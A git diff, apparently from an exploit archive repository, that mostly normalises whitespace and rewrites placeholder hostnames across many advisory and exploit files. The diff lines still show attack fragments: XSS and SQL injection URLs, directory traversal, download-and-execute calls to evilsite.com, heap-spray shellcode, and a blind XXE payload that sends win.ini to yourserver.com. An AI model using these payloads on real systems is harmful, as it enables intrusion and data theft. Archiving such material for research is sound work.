-8,4 +8,4 @@ http://www.example.com/xampp/perlinfo.pl/"<script>alert("XSS")</script> http://www.example.com/xampp/cds.php/%27onmouseover=alert%28%22XSS%22%29%3E -http://www.example.com/xampp/cds.php?interpret=1&jahr=1967 and sleep(1) &titel=555-666-0606 \ No newline at end of file +http://www.example.com/xampp/cds.php?interpret=1&jahr=1967 and sleep(1) &titel=555-666-0606 \ No newline at end of file diff --git a/platforms/windows/remote/3746.txt b/platforms/windows/remote/3746.txt index af982f6b9..2cc7d420e 100755 --- a/platforms/windows/remote/3746.txt +++ b/platforms/windows/remote/3746.txt @@ -1,4 +1,4 @@ -Exploit v2 features: + Exploit v2 features: - Target Remote port 445 (by default but requires auth) - Manual target for dynamic tcp port (without auth) - Automatic search for dynamic dns rpc port diff --git a/platforms/windows/remote/37996.txt b/platforms/windows/remote/37996.txt index 239e8e9ff..7274960c9 100755 --- a/platforms/windows/remote/37996.txt +++ b/platforms/windows/remote/37996.txt @@ -6,4 +6,4 @@ A remote attacker could exploit this vulnerability using directory-traversal str http://www.example.com/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\..\..\windows\win.ini -http://www.example.com/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini \ No newline at end of file +http://www.example.com/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini \ No newline at end of file diff --git a/platforms/windows/remote/38227.txt b/platforms/windows/remote/38227.txt index a153a13a6..5f6524c33 100755 --- a/platforms/windows/remote/38227.txt +++ b/platforms/windows/remote/38227.txt @@ -17,4 +17,4 @@ commandtoRun = "C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-" Host: meet.domainname.com Connection: Keep-Alive -Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=example \ No newline at end of file +Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=example \ No newline at end of file diff --git a/platforms/windows/remote/38325.txt b/platforms/windows/remote/38325.txt index af8203d86..6b5a70313 100755 --- a/platforms/windows/remote/38325.txt +++ b/platforms/windows/remote/38325.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow a remote attacker to perform certain unauthorize http://www.example.com/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&Password=Letme1n&ConfirmPassword=Letme1n -http://www.example.com/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=hacker%40example.com \ No newline at end of file +http://www.example.com/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=hacker%40example.com \ No newline at end of file diff --git a/platforms/windows/remote/38910.txt b/platforms/windows/remote/38910.txt index d463964d9..530eb3f21 100755 --- a/platforms/windows/remote/38910.txt +++ b/platforms/windows/remote/38910.txt @@ -8,4 +8,4 @@ Successful exploits will result in the execution of arbitrary code in the contex Hancom Office 2010 SE 8.5.8 is vulnerable; Other versions may also be affected. -<TEXTART Text="AAAAAAAA...(more than 500 bytes)" X0="0" X1="14173" X2="14173" X3="0" Y0="0" Y1="0" Y2="14173" Y3="14173"> \ No newline at end of file +<TEXTART Text="AAAAAAAA...(more than 500 bytes)" X0="0" X1="14173" X2="14173" X3="0" Y0="0" Y1="0" Y2="14173" Y3="14173"> \ No newline at end of file diff --git a/platforms/windows/remote/38923.txt b/platforms/windows/remote/38923.txt index 713284f7f..4bfba8f43 100755 --- a/platforms/windows/remote/38923.txt +++ b/platforms/windows/remote/38923.txt @@ -4,4 +4,4 @@ Apple Safari for Windows is affected by a security-bypass weakness. Successfully exploiting this issue may allow an attacker to bypass certain security warnings. This may aid in conducting phishing attacks. -http://example.com:/@/xsser.me/ \ No newline at end of file +http://example.com:/@/xsser.me/ \ No newline at end of file diff --git a/platforms/windows/remote/3950.html b/platforms/windows/remote/3950.html index 7997be878..a25ad1dbf 100755 --- a/platforms/windows/remote/3950.html +++ b/platforms/windows/remote/3950.html @@ -1,4 +1,4 @@ -<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/18</b></p></span> + <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/18</b></p></span> <pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">----------------------------------------------------------------------------------------------- <b>LeadTools JPEG 2000 COM Objejct (LTJ2K14.ocx v. 14.5.0.35) Remote Stack-Based Buffer Overflow</b> diff --git a/platforms/windows/remote/4328.html b/platforms/windows/remote/4328.html index a7d598562..853601645 100755 --- a/platforms/windows/remote/4328.html +++ b/platforms/windows/remote/4328.html @@ -51,7 +51,7 @@ Object safety report: RegKey Safe for Script: true RegKey Safe for Init: true -vendor urls: http://www.postcastserver/ +vendor urls: http://www.postcastserver.com/ http://www.quicksoftcorp.com/ rgod. diff --git a/platforms/windows/remote/4664.txt b/platforms/windows/remote/4664.txt index 0e2cb6b79..be6f17e37 100755 --- a/platforms/windows/remote/4664.txt +++ b/platforms/windows/remote/4664.txt @@ -1,4 +1,4 @@ -___ Everyone Loves + ___ Everyone Loves O|0_+|O the Hypnotoad... |...| | | diff --git a/platforms/windows/remote/4713.txt b/platforms/windows/remote/4713.txt index 3a842bd47..552eaf3db 100755 --- a/platforms/windows/remote/4713.txt +++ b/platforms/windows/remote/4713.txt @@ -3,8 +3,8 @@ Luigi Auriemma Application: BarracudaDrive Web Server - http://barracudaserver/products/BarracudaDrive/ - http://barracudaserver/products/HomeServer/ + http://barracudaserver.com/products/BarracudaDrive/ + http://barracudaserver.com/products/HomeServer/ Versions: <= 3.7.2 Platforms: Windows Bugs: A] directory traversal diff --git a/platforms/windows/remote/478.c b/platforms/windows/remote/478.c index 7048682c3..f42b8fded 100755 --- a/platforms/windows/remote/478.c +++ b/platforms/windows/remote/478.c @@ -165,7 +165,7 @@ int main(int argc, char *argv[]) printf("E-Mail:atmaca@prohack.net\r\n"); printf("Web:www.prohack.net\r\n\r\n"); printf("Usage:\r\nJpeg_Down <DownloadUrl><OutputPath>\r\n\r\n",argv[0]); - printf("Example:Jpeg_Down http://www.yourserver/server.exe mypic.jpg\n"); + printf("Example:Jpeg_Down http://www.yoursite.com/server.exe mypic.jpg\n"); return 0; } diff --git a/platforms/windows/remote/4913.html b/platforms/windows/remote/4913.html index c713e6076..7dfb99fee 100755 --- a/platforms/windows/remote/4913.html +++ b/platforms/windows/remote/4913.html @@ -10,7 +10,7 @@ Tested on Windows XP SP2(fully patched) English, IE6, isusweb.dll version 6.1.10 <title>Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit</title> <script language="JavaScript" defer> function Check() { - obj.DownloadAndExecute("Bla","{11111111-1111-1111-1111-111111111111}",0,"http://www.evilserver/evil.exe","evil.exe"); + obj.DownloadAndExecute("Bla","{11111111-1111-1111-1111-111111111111}",0,"http://www.evilsite.com/evil.exe","evil.exe"); } diff --git a/platforms/windows/remote/5046.php b/platforms/windows/remote/5046.php index f2d08ab21..514604076 100755 --- a/platforms/windows/remote/5046.php +++ b/platforms/windows/remote/5046.php @@ -57,7 +57,7 @@ "%ueccb%u8932%ue364%u64a4%uf3b5%u32ec"+ "%ueb64%uec64%ub12a%u2db2%uefe7%u1b07"+ "%u1011%uba10%ua3bd%ua0a2%uefa1"+ - "'.unescape("http://servere/load.exe").'"); + "'.unescape("http://site.come/load.exe").'"); var hbs=0x400000; var pls=plc.length*2; var sss=hbs-(pls+0x38); diff --git a/platforms/windows/remote/556.c b/platforms/windows/remote/556.c index 6dd1efa41..63ed8acc5 100755 --- a/platforms/windows/remote/556.c +++ b/platforms/windows/remote/556.c @@ -346,7 +346,7 @@ printf(" Examples:\n"); printf("\t%s -r 68.6.47.62 -p 8888 test.jpg\n", prog_name); printf("\t%s -b -p 1542 myjpg.jpg\n", prog_name); printf("\t%s -a whatever.jpg\n", prog_name); -printf("\t%s -d http://webserver/patch.exe exploit.jpg\n\n", prog_name); +printf("\t%s -d http://webserver.com/patch.exe exploit.jpg\n\n", prog_name); printf(" Remember if you use the -r option to have netcat listening\n"); printf(" on the port you are using for the attack so the victim will\n"); printf(" be able to connect to you when exploited...\n\n"); diff --git a/platforms/windows/remote/5732.html b/platforms/windows/remote/5732.html index 7abd008ff..0de831cd8 100755 --- a/platforms/windows/remote/5732.html +++ b/platforms/windows/remote/5732.html @@ -54,7 +54,7 @@ CODEBASE="DownloaderActiveX.cab#Version=1,0,0,1"> <PARAM NAME="propTextColor" VALUE="#000000"> <PARAM NAME="propWidth" VALUE="0"> <PARAM NAME="propHeight" VALUE="0"> -<PARAM NAME="propDownloadUrl" VALUE="http://yourserver/nc.exe"><!-- change to your favourite kit ! :) --> +<PARAM NAME="propDownloadUrl" VALUE="http://yoursite.com/nc.exe"><!-- change to your favourite kit ! :) --> <PARAM NAME="propPostDownloadAction" VALUE="run"> <!-- lol --> <PARAM NAME="propInstallCompleteUrl" VALUE=""> <PARAM NAME="propBrowserRedirectUrl" VALUE=""> diff --git a/platforms/windows/remote/5747.html b/platforms/windows/remote/5747.html index 0d5d408bf..1dcebed81 100755 --- a/platforms/windows/remote/5747.html +++ b/platforms/windows/remote/5747.html @@ -1,4 +1,4 @@ -Black Ice Software Inc Barcode SDK (BITiff.ocx) Remote Buffer Overflow + Black Ice Software Inc Barcode SDK (BITiff.ocx) Remote Buffer Overflow url: http://www.blackice.com File : BITiff.ocx diff --git a/platforms/windows/remote/5750.html b/platforms/windows/remote/5750.html index 9c1de835a..4598f2c06 100755 --- a/platforms/windows/remote/5750.html +++ b/platforms/windows/remote/5750.html @@ -31,7 +31,7 @@ <script language='vbscript'> Sub tryMe - test.DownloadImageFileURL "http://someserver/seed.exe", "C:\seed.exe" + test.DownloadImageFileURL "http://somesite.com/seed.exe", "C:\seed.exe" End Sub </script> diff --git a/platforms/windows/remote/663.py b/platforms/windows/remote/663.py index 3fa7c54f7..ab32052ca 100755 --- a/platforms/windows/remote/663.py +++ b/platforms/windows/remote/663.py @@ -1,4 +1,4 @@ - + ######################################################### # # # Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow # diff --git a/platforms/windows/remote/6666.pl b/platforms/windows/remote/6666.pl index a72195bbf..b5a4d8011 100755 --- a/platforms/windows/remote/6666.pl +++ b/platforms/windows/remote/6666.pl @@ -71,7 +71,7 @@ $jmp = "\xEB\x03\xFF\xFF"; print "[x] Sending packets..\r\n"; -print $s ":my_irc_server 001 wow :Welcome to the Internet Relay Network wow\r\n"; +print $s ":my_irc_server.com 001 wow :Welcome to the Internet Relay Network wow\r\n"; sleep(1); if($ARGV[1] == "1"){ print $s ":".$overflow.$eip_xpsp3.$addr.$nop_sled.$eip2_xpsp3.$nop_sled.$overflow2.$jmp.$nop_sled.$shellcode.$nop_sled." PRIVMSG wow : /FINGER wow.\r\n"; diff --git a/platforms/windows/remote/675.txt b/platforms/windows/remote/675.txt index 56bd1c2fb..e6d7d0da5 100755 --- a/platforms/windows/remote/675.txt +++ b/platforms/windows/remote/675.txt @@ -25,20 +25,20 @@ Foolish vulnerability: 1)This vulnerability is on the admin/mail/Statsbrowse.asp and attackers can view the Harddisk by using this file. Login with your account -http://www.yourserver/admin +http://www.yoursite.com/admin Now you see -http://www.yourserver/admin/main.asp +http://www.yoursite.com/admin/main.asp Change this url to -http://www.yourserver/admin/mail/Statsbrowse.asp?FilePath=c:\&Opt=3&level=1&upflag=0 +http://www.yoursite.com/admin/mail/Statsbrowse.asp?FilePath=c:\&Opt=3&level=1&upflag=0 2)This vulnerability is on the admin/iis/Generalbrowse.asp and attackers can view the Harddisk by using this file. Login with your account -http://www.yourserver/admin +http://www.yoursite.com/admin Now you see -http://www.yourserver/admin/main.asp +http://www.yoursite.com/admin/main.asp Change this url to <br/> -http://www.yourserver/admin/iis/Generalbrowse.asp?FilePath=C:\ +http://www.yoursite.com/admin/iis/Generalbrowse.asp?FilePath=C:\ Solution ---------- diff --git a/platforms/windows/remote/6776.html b/platforms/windows/remote/6776.html index fa81993b8..a03bfb0c7 100755 --- a/platforms/windows/remote/6776.html +++ b/platforms/windows/remote/6776.html @@ -33,7 +33,7 @@ <script language='vbscript'> Sub tryMe test.PerformUpdateAsync "calc.exe" - 'test.PerformUpdateAsync "http://www.Someserver/SomeFile.exe" + 'test.PerformUpdateAsync "http://www.SomeSite.com/SomeFile.exe" End Sub </script> diff --git a/platforms/windows/remote/6875.html b/platforms/windows/remote/6875.html index b319fcb04..51e8e736d 100755 --- a/platforms/windows/remote/6875.html +++ b/platforms/windows/remote/6875.html @@ -1,4 +1,4 @@ -VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD + VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD SITE: http://www.visagesoft.com This was written for educational purpose. Use it at your own risk. diff --git a/platforms/windows/remote/7442.txt b/platforms/windows/remote/7442.txt index eacb482ef..7909dd6ac 100755 --- a/platforms/windows/remote/7442.txt +++ b/platforms/windows/remote/7442.txt @@ -24,7 +24,7 @@ This is similar to the past MS Windows IIS vulnerability(Bid 0149). Exploit: The attacker can obtain them easily using an URL request. -http://server/foo/bar.jsp::$DATA +http://www.target.com/foo/bar.jsp::$DATA Solution: The vendor released solutions for this problem. diff --git a/platforms/windows/remote/7875.pl b/platforms/windows/remote/7875.pl index f2e57ae8e..4ed99c0e3 100755 --- a/platforms/windows/remote/7875.pl +++ b/platforms/windows/remote/7875.pl @@ -1,6 +1,6 @@ #!/usr/bin/perl # -# WinFTP 2.3.0 post-auth remote exploit. (www.wftpserver) +# WinFTP 2.3.0 post-auth remote exploit. (www.wftpserver.com) # ################################################################################ # # diff --git a/platforms/windows/remote/8149.txt b/platforms/windows/remote/8149.txt index a7b0b2f29..0a07abbc4 100755 --- a/platforms/windows/remote/8149.txt +++ b/platforms/windows/remote/8149.txt @@ -4,7 +4,7 @@ EFS Easy Chat Server (XSRF) Change Admin Pass Vulnerability Version: 2.2 Date: Jan 11, 2007 Size:1519KB -Download Easy Chat Server http://www.echatserver/ecssetup.exe +Download Easy Chat Server http://www.echatserver.com/ecssetup.exe By Mountassif Moad --> <HEAD> diff --git a/platforms/windows/remote/8704.txt b/platforms/windows/remote/8704.txt index add52f1ec..4d4b086f4 100755 --- a/platforms/windows/remote/8704.txt +++ b/platforms/windows/remote/8704.txt @@ -1,4 +1,4 @@ -#### + #### # ##### #### # ##### ####### ### ###### diff --git a/platforms/windows/remote/8930.txt b/platforms/windows/remote/8930.txt index d578fe359..2f2ad4be9 100755 --- a/platforms/windows/remote/8930.txt +++ b/platforms/windows/remote/8930.txt @@ -1,4 +1,4 @@ -======================================================================== + ======================================================================== ModSecurity (Core Rules) HPP Filter Bypass Vulnerability ======================================================================== diff --git a/platforms/windows/remote/968.c b/platforms/windows/remote/968.c index 22b53fc9a..aa985fd6c 100755 --- a/platforms/windows/remote/968.c +++ b/platforms/windows/remote/968.c @@ -5,7 +5,7 @@ vender status : no patch released , all targets are vuln package : golden-ftp-server-pro 2.5.0.0 and prior advisory : http://secunia.com/advisories/15156/ - vender address : www.goldenftpserver + vender address : www.goldenftpserver.com timeline : 28 Apr 2005 : Public Disclosure 29 Apr 2005 : IHS exploit released , winxpsp1 & winxpsp2 target diff --git a/platforms/windows/webapps/11243.txt b/platforms/windows/webapps/11243.txt index 71ac46701..0538e41aa 100755 --- a/platforms/windows/webapps/11243.txt +++ b/platforms/windows/webapps/11243.txt @@ -22,3 +22,4 @@ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]... + \ No newline at end of file diff --git a/platforms/windows/webapps/11330.txt b/platforms/windows/webapps/11330.txt index a42a02431..4a1f5186e 100755 --- a/platforms/windows/webapps/11330.txt +++ b/platforms/windows/webapps/11330.txt @@ -1,4 +1,4 @@ -================================================================================ + ================================================================================ ManageEngine OpUtils 5 "Login.DO" SQL Injection Vulnerability ================================================================================ diff --git a/platforms/windows/webapps/11406.txt b/platforms/windows/webapps/11406.txt index 918e068f9..ea99fdf29 100755 --- a/platforms/windows/webapps/11406.txt +++ b/platforms/windows/webapps/11406.txt @@ -25,6 +25,6 @@ ####### Exploit ################################################################# # -# http://server/path/jag/database.sql +# http://site.com/path/jag/database.sql # ################################################################################# \ No newline at end of file diff --git a/platforms/windows/webapps/14382.txt b/platforms/windows/webapps/14382.txt index 2a4d8824f..1eb4029fd 100755 --- a/platforms/windows/webapps/14382.txt +++ b/platforms/windows/webapps/14382.txt @@ -1,4 +1,4 @@ -|------------------------------------------------------------------| + |------------------------------------------------------------------| | __ __ | | _________ ________ / /___ _____ / /____ ____ _____ ___ | | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ | diff --git a/platforms/windows/webapps/17276.txt b/platforms/windows/webapps/17276.txt index 7025749ca..9d60b1112 100755 --- a/platforms/windows/webapps/17276.txt +++ b/platforms/windows/webapps/17276.txt @@ -166,4 +166,4 @@ Core Security's software solutions build on over a decade of trusted research an The contents of this advisory are copyright (c) 2011 Core Security Technologies and (c) 2011 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. PGP/GPG Keys -This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. \ No newline at end of file +This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. \ No newline at end of file diff --git a/platforms/windows/webapps/20363.py b/platforms/windows/webapps/20363.py index ea6612d38..ab213a0c2 100755 --- a/platforms/windows/webapps/20363.py +++ b/platforms/windows/webapps/20363.py @@ -5,8 +5,8 @@ Author: loneferret of Offensive Security Product: SurgeMail Version: 6.0a4 -Vendor Site: http://www.netwinserver -Software Download: http://netwinserver/download.htm +Vendor Site: http://www.netwinsite.com +Software Download: http://netwinsite.com/download.htm Timeline: 29 May 2012: Vulnerability reported to CERT diff --git a/platforms/windows/webapps/20677.txt b/platforms/windows/webapps/20677.txt index 660079a00..a2ec414b1 100755 --- a/platforms/windows/webapps/20677.txt +++ b/platforms/windows/webapps/20677.txt @@ -7,7 +7,7 @@ CVSS Base / Temporal / Overall Scores: 7.8 / 6.4 / 6.4 Advisory Version: 2 (first publicly released version is 2) Advisory Release Date: 2012-08-17 Advisory Last Updated: 2012-08-17 -Vendor: IOServer Pty Ltd. http://www.ioserver/ +Vendor: IOServer Pty Ltd. http://www.ioserver.com/ Affected Product: IOServer 1.0.18.0 (and earlier?) Issue Status: fixed version and workarounds available Link: http://www.foofus.net/?page_id=616 @@ -71,7 +71,7 @@ system as described here even if they are set to some value. == ===== == ======= = ===== == ========= Install the software and use the sample Modbus Web Server configuration -from http://www.ioserver/mbtcp.io to get it working. This sample +from http://www.ioserver.com/mbtcp.io to get it working. This sample configuration uses the "Root Directory" value of "C:\Program Files \IOServer\Docs" (note the lack of a trailing backslash). This directory does not exist unless you install the documentation package (isodoc.exe, @@ -149,7 +149,7 @@ here. IOServer 1.0.18.0 (earlier versions are also assumed vulnerable) -This was downloaded from http://www.ioserver/driver18.exe, which was +This was downloaded from http://www.ioserver.com/driver18.exe, which was the current version as of 23 April 2012. Older versions were not available, but are assumed vulnerable. @@ -169,7 +169,7 @@ hosts/networks. Even a fixed version should probably not be exposed to the Internet or other untrusted networks. The directory traversal issue was fixed in version 1.0.19.0 -(http://www.ioserver/driver19.exe), released on 2012-06-20. However, +(http://www.ioserver.com/driver19.exe), released on 2012-06-20. However, arbitrary file access and directory listings inside the "Root Directory" and its subdirs are still possible in this version, unless the trailing backslash is in place. Note that even with the trailing backslash, diff --git a/platforms/windows/webapps/23184.txt b/platforms/windows/webapps/23184.txt index 9384c5582..ab7d58202 100755 --- a/platforms/windows/webapps/23184.txt +++ b/platforms/windows/webapps/23184.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8700/info A problem with the storage of user credentials has been identified in Software602 602Pro LAN SUITE 2003. Because of this, an attacker may be able to gain access to potentially sensitive information. -http://www.example.com/mail/S030904L.LOG \ No newline at end of file +http://www.example.com/mail/S030904L.LOG \ No newline at end of file diff --git a/platforms/windows/webapps/30669.txt b/platforms/windows/webapps/30669.txt index 18c26ab86..ffcd5ba28 100755 --- a/platforms/windows/webapps/30669.txt +++ b/platforms/windows/webapps/30669.txt @@ -20,7 +20,7 @@ extrct version database: ------------------------- POST /cm/password_retrieve.asp HTTP/1.1 -Host: server +Host: www.server.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 @@ -56,7 +56,7 @@ columns: username , password POST /cm/password_retrieve.asp HTTP/1.1 -Host: server +Host: www.server.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 diff --git a/platforms/windows/webapps/31993.txt b/platforms/windows/webapps/31993.txt index dd8b1fd6d..aaddd266e 100755 --- a/platforms/windows/webapps/31993.txt +++ b/platforms/windows/webapps/31993.txt @@ -13,13 +13,13 @@ In this particular instance, exploitation was more difficult as the results of t Exploit: POST /demantra/portal/editExecDefinition.jsp HTTP/1.1 -Host: server:8080 +Host: www.target.com:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 -Referer: http://server:8080/demantra/portal/editExecDefinition.jsp?menuBarId=2&menuGroupId=4&menuItemId=10&tkn=919872817530076 +Referer: http://www.target.com:8080/demantra/portal/editExecDefinition.jsp?menuBarId=2&menuGroupId=4&menuItemId=10&tkn=919872817530076 Cookie: ORA_EBS_DEMANTRA_LOGIN_LANGUAGE=US; JSESSIONID=6741133838FDEC5D65258F72A4E4EB87 Connection: keep-alive Content-Type: application/x-www-form-urlencoded @@ -39,13 +39,13 @@ com.demantra.applicationServer.appServerExceptions.FailedToExcuteBatch: java.sql Sample Request #2: POST /demantra/portal/saveProgramGroups.jsp HTTP/1.1 -Host: server:8080 +Host: www.target.com:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 -Referer: http://server:8080/demantra/portal/programGroupDefinition.jsp +Referer: http://www.target.com:8080/demantra/portal/programGroupDefinition.jsp Cookie: ORA_EBS_DEMANTRA_LOGIN_LANGUAGE=US; JSESSIONID=AC4D868CFC8F2B0CF06B62426A9F8CF7 Connection: keep-alive Content-Type: application/x-www-form-urlencoded diff --git a/platforms/windows/webapps/31994.txt b/platforms/windows/webapps/31994.txt index 804fabe2d..627492222 100755 --- a/platforms/windows/webapps/31994.txt +++ b/platforms/windows/webapps/31994.txt @@ -17,13 +17,13 @@ Exploit: Request: POST /demantra/TaskSender HTTP/1.1 -Host: server:8080 +Host: www.target.com:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 -Referer: http://server:8080/demantra/portal/taskSender.jsp?tkn=187120466014305 +Referer: http://www.target.com:8080/demantra/portal/taskSender.jsp?tkn=187120466014305 Cookie: ORA_EBS_DEMANTRA_LOGIN_LANGUAGE=US; JSESSIONID=201BE9D6A85EA3E4BC837A4F01B9781F Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------12454397315614820331578362291 diff --git a/platforms/windows/webapps/31995.txt b/platforms/windows/webapps/31995.txt index 49e4ec068..130ced56b 100755 --- a/platforms/windows/webapps/31995.txt +++ b/platforms/windows/webapps/31995.txt @@ -8,7 +8,7 @@ Exploit: The target URL is: -http://server:8080/demantra/ServerDetailsServlet?UAK= +http://target.com:8080/demantra/ServerDetailsServlet?UAK= Now the UAK key is calculated statically: diff --git a/platforms/windows/webapps/33434.rb b/platforms/windows/webapps/33434.rb index 8034db0cf..8627d810c 100755 --- a/platforms/windows/webapps/33434.rb +++ b/platforms/windows/webapps/33434.rb @@ -295,4 +295,4 @@ gdm:x:42:42::/var/lib/gdm:/sbin/nologin avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin fdsa:x:501:501::/home/fdsa:/bin/bash [*] Auxiliary module execution completed -msf auxiliary(hp_release_control_xxe) > \ No newline at end of file +msf auxiliary(hp_release_control_xxe) > \ No newline at end of file diff --git a/platforms/windows/webapps/33633.txt b/platforms/windows/webapps/33633.txt index 0d330fedc..19222ba60 100755 --- a/platforms/windows/webapps/33633.txt +++ b/platforms/windows/webapps/33633.txt @@ -3,7 +3,7 @@ # Date: 3 june 2014 # Exploit Author: Peru (GoSecure!) # Vendor Homepage: www.ipswitch.com -# Software Link: http://www.imailserver/try/ +# Software Link: http://www.imailserver.com/try/ # Version: Tested on 12.3 and 12.4 before 12.4.1.15 # Tested on: WindowsServer2008R2 STD SP1 # CVE : 2014-3878 diff --git a/platforms/windows/webapps/35982.txt b/platforms/windows/webapps/35982.txt index 4d9f7facc..f75cbed13 100755 --- a/platforms/windows/webapps/35982.txt +++ b/platforms/windows/webapps/35982.txt @@ -119,4 +119,4 @@ Mogwai, IT-Sicherheitsberatung Muench Steinhoevelstrasse 2/2 89075 Ulm (Germany) -info@mogwaisecurity.de \ No newline at end of file +info@mogwaisecurity.de \ No newline at end of file diff --git a/platforms/windows/webapps/38762.txt b/platforms/windows/webapps/38762.txt index 183f01ba7..02b783aa5 100755 --- a/platforms/windows/webapps/38762.txt +++ b/platforms/windows/webapps/38762.txt @@ -3,7 +3,7 @@ # Date: 11/18/2015 # Exploit Author: Un_N0n # Vendor: NetWin -# Software Link: http://netwinserver/cgi-bin/keycgi.exe?cmd=download&product=surgeftp +# Software Link: http://netwinsite.com/cgi-bin/keycgi.exe?cmd=download&product=surgeftp # Version: 23d6 # Tested on: Windows 7 x64(64bit) ******************************************************************************************** diff --git a/platforms/xml/webapps/37977.py b/platforms/xml/webapps/37977.py index 5b7e115c2..ea7334534 100755 --- a/platforms/xml/webapps/37977.py +++ b/platforms/xml/webapps/37977.py @@ -27,7 +27,7 @@ import requests import base64 import sys -target = "http://server/" +target = "http://target.com/" if not target.startswith("http"): target = "http://" + target diff --git a/platforms/xml/webapps/38118.txt b/platforms/xml/webapps/38118.txt index d17e233a6..a5d474f88 100755 --- a/platforms/xml/webapps/38118.txt +++ b/platforms/xml/webapps/38118.txt @@ -42,14 +42,14 @@ In POST body: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE update [ -<!ENTITY % external SYSTEM "http://yourserver"> +<!ENTITY % external SYSTEM "http://yourserver.com"> %external;]> OR simply <?xml version="1.0" encoding="utf-8"?> -<!DOCTYPE roottag PUBLIC "-//WHITE//NINJA//EN" "http://yourserver"> +<!DOCTYPE roottag PUBLIC "-//WHITE//NINJA//EN" "http://yourserver.com"> -As this is a blind XXE, you will see no response from server, but yourserver will receive the HTTP request from the Qlikview server. Also works with FTP and HTTPS protocols. +As this is a blind XXE, you will see no response from server, but yourserver.com will receive the HTTP request from the Qlikview server. Also works with FTP and HTTPS protocols. Attack Pattern for reading and extracting arbitrary files: ------------------------------------------ @@ -58,19 +58,19 @@ In POST body: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % remote SYSTEM "file:///c:/windows/win.ini"> -<!ENTITY % dtd SYSTEM "http://yourserver/test.dtd"> +<!ENTITY % dtd SYSTEM "http://yourserver.com/test.dtd"> %dtd; %send; ]]> -The test.dtd file on yourserver will need to contain the following: +The test.dtd file on yourserver.com will need to contain the following: Test.dtd -------- -<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://yourserver/?%remote;'>"> +<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://yourserver.com/?%remote;'>"> %all; -As the response is blind, you will see no response from the server, but yourserver will receive the file contents as part of the URL in lieu of the %remote parameter. +As the response is blind, you will see no response from the server, but yourserver.com will receive the file contents as part of the URL in lieu of the %remote parameter. (3) Advisory Timeline: